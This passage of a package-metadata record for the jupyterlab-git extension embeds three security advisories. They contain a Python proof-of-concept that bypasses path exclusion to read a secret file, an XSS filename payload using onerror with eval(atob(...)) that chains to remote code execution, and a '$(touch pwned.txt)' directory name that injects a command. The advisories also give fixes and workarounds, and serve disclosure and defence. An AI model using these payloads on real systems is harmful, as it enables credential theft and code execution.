f.write(f'c.ServerApp.port = {PORT}\\n')\n        f.write(f'c.ServerApp.ip = \"127.0.0.1\"\\n')\n        f.write(f'c.ServerApp.disable_check_xsrf = True\\n')\n        f.write(f'c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]\\n')\n\n    env = os.environ.copy()\n    env[\"JUPYTER_CONFIG_DIR\"] = base_dir\n    env[\"JUPYTER_DATA_DIR\"] = base_dir\n    proc = subprocess.Popen(\n        [sys.executable, \"-m\", \"jupyter_server\", f\"--config={config_path}\",\n         \"--ServerApp.jpserver_extensions={'jupyterlab_git': True}\"],\n        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)\n\n    for _ in range(30):\n        try:\n            req = urllib.request.Request(f\"{BASE_URL}/api/status\",\n                                         headers={\"Authorization\": f\"token {TOKEN}\"})\n            if urllib.request.urlopen(req, timeout=2).status == 200:\n                break\n        except (urllib.error.URLError, OSError):\n            pass\n        time.sleep(0.5)\n    else:\n        proc.kill()\n        shutil.rmtree(base_dir, ignore_errors=True)\n        sys.exit(\"server failed to start\")\n\n    try:\n        # exclusion works\n        code, _ = post(\"project/secrets\", \"/status\")\n        blocked = code == 404\n\n        # bypass\n        code, _ = post(\"project/Secrets\", \"/status\")\n        bypassed = code == 200\n\n        # exfiltrate\n        code, body = post(\"project/Secrets\", \"/content\",\n                          {\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}})\n        content = body.get(\"content\", \"\") if isinstance(body, dict) else \"\"\n        exfiltrated = SECRET in content\n\n        ok = blocked and bypassed and exfiltrated\n        print(f\"exclusion enforced (lowercase): {blocked}\")\n        print(f\"bypass (case-varied):           {bypassed}\")\n        print(f\"secret exfiltrated:             {exfiltrated}\")\n        print(f\"result:                         {'VULNERABLE' if ok else 'NOT CONFIRMED'}\")\n        return ok\n\n    finally:\n        proc.terminate()\n        proc.wait(timeout=5)\n        shutil.rmtree(base_dir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    sys.exit(0 if main() else 1)\n\n```\n\n```bash\npip install 'jupyterlab-git==0.53.0'\npython poc.py\n```\n\u003cimg width=\"686\" height=\"146\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625\" /\u003e\n\n\n## Fix\n\n```python\nif fnmatch.fnmatch(path.lower(), excluded_path.lower()):\n    raise tornado.web.HTTPError(404)\n```\n\nOr apply `os.path.normcase()` to both operands before comparison.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-19T19:36:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","references":["https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-436q-jwfr-rm2h","https://github.com/advisories/GHSA-436q-jwfr-rm2h"],"source_kind":"github","identifiers":["GHSA-436q-jwfr-rm2h","CVE-2026-54528"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T20:00:08.096Z","updated_at":"2026-08-06T13:01:20.832Z","epss_percentage":0.0035,"epss_percentile":0.27509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00MzZxLWp3ZnItcm0yaM4ABZLn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00MzZxLWp3ZnItcm0yaM4ABZLn","packages":[{"ecosystem":"pypi","package_name":"jupyterlab-git","versions":[{"first_patched_version":"0.54.0","vulnerable_version_range":"\u003c= 0.53.0"}],"purl":"pkg:pypi/jupyterlab-git"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00MzZxLWp3ZnItcm0yaM4ABZLn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mOTYyLXY5aHItcGZnNc4ABZLm","url":"https://github.com/advisories/GHSA-f962-v9hr-pfg5","title":"jupyterlab-git extension: Stored XSS leading to RCE","description":"Overview\n\nAmazon Web Services (AWS) Security has identified a stored cross-site scripting (XSS) issue in the jupyterlab-git JupyterLab extension that can lead to remote code execution (RCE). The issue exists in the PlainTextDiff.ts component, where the createHeader() method passes Git filenames directly to innerHTML without sanitization when rendering diffs for renamed files in commit history. This allows an adversary to craft a filename containing arbitrary HTML/JavaScript that executes when another user views the rename diff in the Git History tab.\n\nThe issue can be leveraged through the rename history view in the JupyterLab Git panel. An adversary creates a file with a crafted filename containing a JavaScript payload (e.g., \u003cimg src=x onerror=eval(atob(\"base64_payload\"))\u003e.py), renames the file in a subsequent commit, and pushes to a shared repository. When a victim clones the repository, navigates to the Git History tab, clicks the rename commit, and then clicks the renamed file to view the diff, the unsanitized filename renders via innerHTML, executing arbitrary JavaScript in the victim's browser session. The injected JavaScript reads the xsrf cookie, opens a JupyterLab terminal via POST /api/terminals, connects via WebSocket, and executes arbitrary shell commands — achieving full RCE. An adversary can leverage this to exfiltrate secrets or credentials from the victim's environment.\n\n\n\nScope of impact\n\nWe discovered this issue during internal security testing. The issue is present in the default configuration of JupyterLab when the jupyterlab-git extension is installed.\n\nThe attack requires:\n\n- The adversary to have commit access to a Git repository that the victim has cloned\n\n- The victim to navigate to the Git History tab, click the rename commit, and click the renamed file to view the diff\n\n\n\nThe issue could allow an actor who has access to a shared Git repository to execute arbitrary JavaScript in another user's JupyterLab environment by committing a file with a crafted filename, potentially leading to remote code execution with access to user code, data, environment variables, and credentials.\n\n\n\nProof of concept\n\nThe issue exists in the createHeader() method where filenames from rename history are passed directly to innerHTML without sanitization:\n\n[1] https://github.com/jupyterlab/jupyterlab-git/blob/main/src/components/diff/PlainTextDiff.ts#L214\n\n\n\nAttack flow:\n\n1. An adversary creates a file with a crafted filename containing a JavaScript payload, e.g., \u003cimg src=x onerror=eval(atob(\"base64_payload\"))\u003e.py\n\n2. The adversary renames the file in a subsequent commit and pushes both commits to a shared Git repository\n\n3. The victim clones or pulls the repository and navigates to the Git History tab in JupyterLab\n\n4. The victim clicks the rename commit, then clicks the renamed file to view the diff\n\n5. The createHeader() method constructs a diff header using string concatenation with the unsanitized filename and assigns the result to innerHTML\n\n6. The injected JavaScript executes in the victim's browser session, reads the _xsrf cookie, sends a POST request to /api/terminals to open a JupyterLab terminal, connects via WebSocket, and executes arbitrary shell commands\n\n\n\nProof-of-concept mitigation\n\nThe issue can be mitigated by replacing innerHTML with textContent for filename rendering in the createHeader() method of PlainTextDiff.ts. Alternatively, proper HTML sanitization (escaping \u003c, \u003e, \u0026, \", ') can be applied before inserting user-controlled filenames into the DOM.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-19T19:36:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-f962-v9hr-pfg5","https://github.com/advisories/GHSA-f962-v9hr-pfg5"],"source_kind":"github","identifiers":["GHSA-f962-v9hr-pfg5","CVE-2026-54527"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T20:00:08.096Z","updated_at":"2026-08-19T22:01:12.038Z","epss_percentage":0.00361,"epss_percentile":0.2863,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOTYyLXY5aHItcGZnNc4ABZLm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mOTYyLXY5aHItcGZnNc4ABZLm","packages":[{"ecosystem":"npm","package_name":"@jupyterlab/git","versions":[{"first_patched_version":"0.54.0","vulnerable_version_range":"\u003e= 0.30.0b3, \u003c 0.54.0-a1"}],"purl":"pkg:npm/%40jupyterlab%2Fgit"},{"ecosystem":"pypi","package_name":"jupyterlab-git-core","versions":[{"first_patched_version":"0.54.0","vulnerable_version_range":"\u003e= 0.30.0b3, \u003c 0.54.0a1"}],"purl":"pkg:pypi/jupyterlab-git-core"},{"ecosystem":"pypi","package_name":"jupyterlab-git","versions":[{"first_patched_version":"0.54.0","vulnerable_version_range":"\u003e= 0.30.0b3, \u003c 0.54.0a1"}],"purl":"pkg:pypi/jupyterlab-git"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mOTYyLXY5aHItcGZnNc4ABZLm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jajV3LThtamYtcjVmOM4ABGan","url":"https://github.com/advisories/GHSA-cj5w-8mjf-r5f8","title":"jupyterlab-git has a command injection vulnerability in \"Open Git Repository in Terminal\"","description":"## Overview\n\nOn many platforms, a third party can create a Git repository under a name that includes a shell command substitution [^1] string in the syntax `$(\u003ccommand\u003e)`. These directory names are allowed in macOS and a majority of Linux distributions [^2]. If a user starts `jupyter-lab` in a parent directory of this inappropriately-named Git repository, opens it, and clicks \"Git \u003e Open Git Repository in Terminal\" from the menu bar, then the injected command `\u003ccommand\u003e` is run in the user's shell without the user's permission.\n\nThis issue is occurring because when that menu entry is clicked, `jupyterlab-git` opens the terminal and runs `cd \u003cgit-repo-path\u003e` through the shell to set the current directory [^3]. Doing so runs any command substitution strings present in the directory name, which leads to the command injection issue described here. A previous patch provided an incomplete fix [^4].\n\n[^1]: https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html\n[^2]: https://www.gnu.org/software/libc/manual/html_node/File-Name-Portability.html\n[^3]: https://github.com/jupyterlab/jupyterlab-git/blob/7eb3b06f0092223bd5494688ec264527bbeb2195/src/commandsAndMenu.tsx#L175-L184\n[^4]: https://github.com/jupyterlab/jupyterlab-git/pull/1196\n \n\n## Scope of Impact\n\nThis issue allows for arbitrary code execution via command injection. A wide range of actions are permitted by this issue, including but not limited to: modifying files, exfiltrating data, halting services, or compromising the server's security rules.\n\nWe have scanned the source code of `jupyterlab-git` for other command injection risks, and have not found any at the time of writing.\n\nThis issue was reproduced on the latest release of `jupyterlab-git`, v0.51.0. The steps taken to reproduce this issue are described in the \"Proof-of-concept\" section below.\n \n\n## Proof-of-concept\n\n1. Create a new directory via `mkdir test/ \u0026\u0026 cd test/`.\n\n2. Create a new Git repository under `test/` with a command substitution string in the directory name by running these commands:\n\n```\nmkdir '$(touch pwned.txt)'\ncd '$(touch pwned.txt)/'\ngit init\ncd ..\n```\n\n3. Start JupyterLab from `test/` by running jupyter lab.\n4. With JupyterLab open in the browser, double click on `$(touch pwned.txt)` in the file browser.\n5. From the top menu bar, click \"Git \u003e Open Git Repository in Terminal\".\n6. Verify that `pwned.txt` is created under `test/`. This demonstrates the command injection issue described here.\n\n## Proof-of-concept mitigation\n\nThe issue can be mitigated by the patch shown below.\n\n\u003cdetails\u003e\u003csummary\u003ePatch (click to expand)\u003c/summary\u003e\n\n```diff\ndiff --git a/src/commandsAndMenu.tsx b/src/commandsAndMenu.tsx\nindex 3779a6c..71ddcea 100644\n--- a/src/commandsAndMenu.tsx\n+++ b/src/commandsAndMenu.tsx\n@@ -164,31 +164,13 @@ export function addCommands(\n     label: trans.__('Open Git Repository in Terminal'),\n     caption: trans.__('Open a New Terminal to the Git Repository'),\n     execute: async args =\u003e {\n-      const main = (await commands.execute(\n-        'terminal:create-new',\n-        args\n-      )) as MainAreaWidget\u003cITerminal.ITerminal\u003e;\n+      const cwd = gitModel.pathRepository;\n+      const main = (await commands.execute('terminal:create-new', {\n+        ...args,\n+        cwd\n+      })) as MainAreaWidget\u003cITerminal.ITerminal\u003e;\n \n-      try {\n-        if (gitModel.pathRepository !== null) {\n-          const terminal = main.content;\n-          terminal.session.send({\n-            type: 'stdin',\n-            content: [\n-              `cd \"${gitModel.pathRepository\n-                .split('\"')\n-                .join('\\\\\"')\n-                .split('`')\n-                .join('\\\\`')}\"\\n`\n-            ]\n-          });\n-        }\n-\n-        return main;\n-      } catch (e) {\n-        console.error(e);\n-        main.dispose();\n-      }\n+      return main;\n```\n\u003c/details\u003e\n\nThis patch removes the `cd \u003cgit-repo-path\u003e` shell command that causes the issue. To preserve the existing behavior, the `cwd` argument is set to `\u003cgit-repo-path\u003e` when a terminal session is created via the `terminal:create-new` JupyterLab command. This preserves the existing application behavior while mitigating the command injection issue.\n\nWe have verified that this patch works when applied to a local installation of `jupyterlab-git`. We have also verified that the `cwd` argument is available in all versions of JupyterLab 4, so this patch should be fully backwards-compatible.\n\n## Workarounds\n\nWe recommend that users upgrade to the patched versions listed on this GHSA. However, if a user is unable to upgrade, there are 3 different ways to mitigate this vulnerability without upgrading to a patch. \n\n1. Disable terminals on `jupyter-server` level:\n    ```\n    c.ServerApp.terminals_enabled =  False\n    ```\n\n2. Disable the terminals server extension:\n    ```\n    jupyter server extension disable jupyter_server_terminals\n    ```\n\n3. Disable the lab extension:\n    ```\n    jupyter labextension disable @jupyterlab/terminal-extension\n    ```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-04-04T14:05:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:H","references":["https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-cj5w-8mjf-r5f8","https://nvd.nist.gov/vuln/detail/CVE-2025-30370","https://github.com/jupyterlab/jupyterlab-git/pull/1196","https://github.com/jupyterlab/jupyterlab-git/commit/b46482993f76d3a546015c6a94ebed8b77fc2376","https://github.com/jupyterlab/jupyterlab-git/blob/7eb3b06f0092223bd5494688ec264527bbeb2195/src/commandsAndMenu.tsx#L175-L184","https://github.com/advisories/GHSA-cj5w-8mjf-r5f8"],"source_kind":"github","identifiers":["GHSA-cj5w-8mjf-r5f8","CVE-2025-30370"],"repository_url":"https://github.com/jupyterlab/jupyterlab-git","blast_radius":0.0,"created_at":"2025-04-04T15:08:04.648Z","updated_at":"2026-08-20T11:05:32.290Z","epss_percentage":0.0057,"epss_percentile":0.44692,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajV3LThtamYtcjVmOM4ABGan","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jajV3LThtamYtcjVmOM4ABGan","packages":[{"ecosystem":"pypi","package_name":"jupyterlab-git","versions":[{"first_patched_version":"0.51.1","vulnerable_version_range":"\u003c 0.51.1"}],"purl":"pkg:pypi/jupyterlab-git"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jajV3LThtamYtcjVmOM4ABGan/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/jupyterlab-git","docker_dependents_count":325,"docker_downloads_count":339731413,"usage_url":"https://repos.ecosyste.ms/usage/pypi/jupyterlab-git","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/jupyterlab-git/dependencies","status":null,"funding_links":["https://jupyter.org/about#donate"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-20T11:13:35.195Z","issues_count":137,"pull_requests_count":249,"avg_time_to_close_issue":20348920.552238807,"avg_time_to_close_pull_request":1132797.6411483253,"issues_closed_count":67,"pull_requests_closed_count":209,"pull_request_authors_count":53,"issue_authors_count":91,"avg_comments_per_issue":3.5985401459854014,"avg_comments_per_pull_request":2.2570281124497993,"merged_pull_requests_count":181,"bot_issues_count":0,"bot_pull_requests_count":92,"past_year_issues_count":13,"past_year_pull_requests_count":50,"past_year_avg_time_to_close_issue":1589466.0,"past_year_avg_time_to_close_pull_request":801677.09375,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":32,"past_year_pull_request_authors_count":14,"past_year_issue_authors_count":10,"past_year_avg_comments_per_issue":0.6153846153846154,"past_year_avg_comments_per_pull_request":1.48,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":24,"past_year_merged_pull_requests_count":29,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jupyterlab%2Fjupyterlab-git/issues","maintainers":[{"login":"fcollonval","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fcollonval"},{"login":"jtpio","count":32,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jtpio"},{"login":"krassowski","count":22,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/krassowski"},{"login":"Zsailer","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Zsailer"},{"login":"Darshan808","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Darshan808"},{"login":"jaipreet-s","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jaipreet-s"},{"login":"MUFFANUJ","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MUFFANUJ"},{"login":"DenisaCG","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DenisaCG"},{"login":"Meriem-BenIsmail","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Meriem-BenIsmail"},{"login":"ianhi","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ianhi"},{"login":"ajbozarth","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ajbozarth"},{"login":"martinRenou","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/martinRenou"},{"login":"dhirschfeld","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dhirschfeld"}],"active_maintainers":[{"login":"jtpio","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jtpio"},{"login":"Darshan808","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Darshan808"},{"login":"Meriem-BenIsmail","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Meriem-BenIsmail"},{"login":"MUFFANUJ","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/MUFFANUJ"},{"login":"martinRenou","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/martinRenou"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/jupyterlab-git/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/jupyterlab-git/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/jupyterlab-git/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/jupyterlab-git/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/jupyterlab-git/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/jupyterlab-git/codemeta","maintainers":[{"uuid":"Project Jupyter","login":"Project Jupyter","name":null,"email":null,"url":null,"packages_count":47,"html_url":"https://pypi.org/user/Project Jupyter/","role":null,"created_at":"2023-09-19T13:14:05.860Z","updated_at":"2023-09-19T13:14:05.860Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/Project%20Jupyter/packages"}]}